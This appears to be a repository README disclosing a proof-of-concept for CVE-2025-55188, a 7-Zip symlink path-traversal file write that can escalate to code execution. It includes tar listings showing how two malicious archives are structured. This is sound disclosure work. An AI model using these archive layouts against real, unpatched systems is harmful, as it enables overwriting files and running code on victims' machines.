lunbun/cve-2025-55188Proof-of-concept exploit for CVE-2025-55188 demonstrating arbitrary file write in 7-Zip via symlink path traversal, with escalation to arbitrary code execution.
Proof-of-concept of CVE-2025-55188, an arbitrary file write in 7-Zip. Patched in version 25.01, released on August 3, 2025.
Note: CVE-2025-55188 is different than CVE-2025-11001.
The version that CVE-2025-11001 was patched in (version 25.00) is still vulnerable to arbitrary code execution via symbolic link attacks due to CVE-2025-55188.
CVE-2025-55188 was discovered and published prior to the publication of CVE-2025-11001.
See https://lunbun.dev/blog/cve-2025-55188/ for a more detailed explanation and writeup.
The vulnerability is fairly straightforward.
Path traversal is done via symlinks to arbitrarily write files. From there, arbitrary file write can be escalated to arbitrary code execution by writing to critical files.
Symlink path traversal is possible due to an edge case in the symlink safety checks. I found two ways to do this. See the blog post for more details.
The following .tar file will write to ../a/b/file.txt on extraction:
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/link -> ../a/b
hrwxr-xr-x 0/0 0 1969-12-31 16:00 link link to a/link
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_hardlink contains code using the hardlink method.
The following .tar file will write to ../file.txt on extraction (only on Linux):
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/b/link -> /a
lrw-r--r-- 0/0 0 1969-12-31 16:00 link -> a/b/link/../../
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_extraction_root contains code using the extraction root method.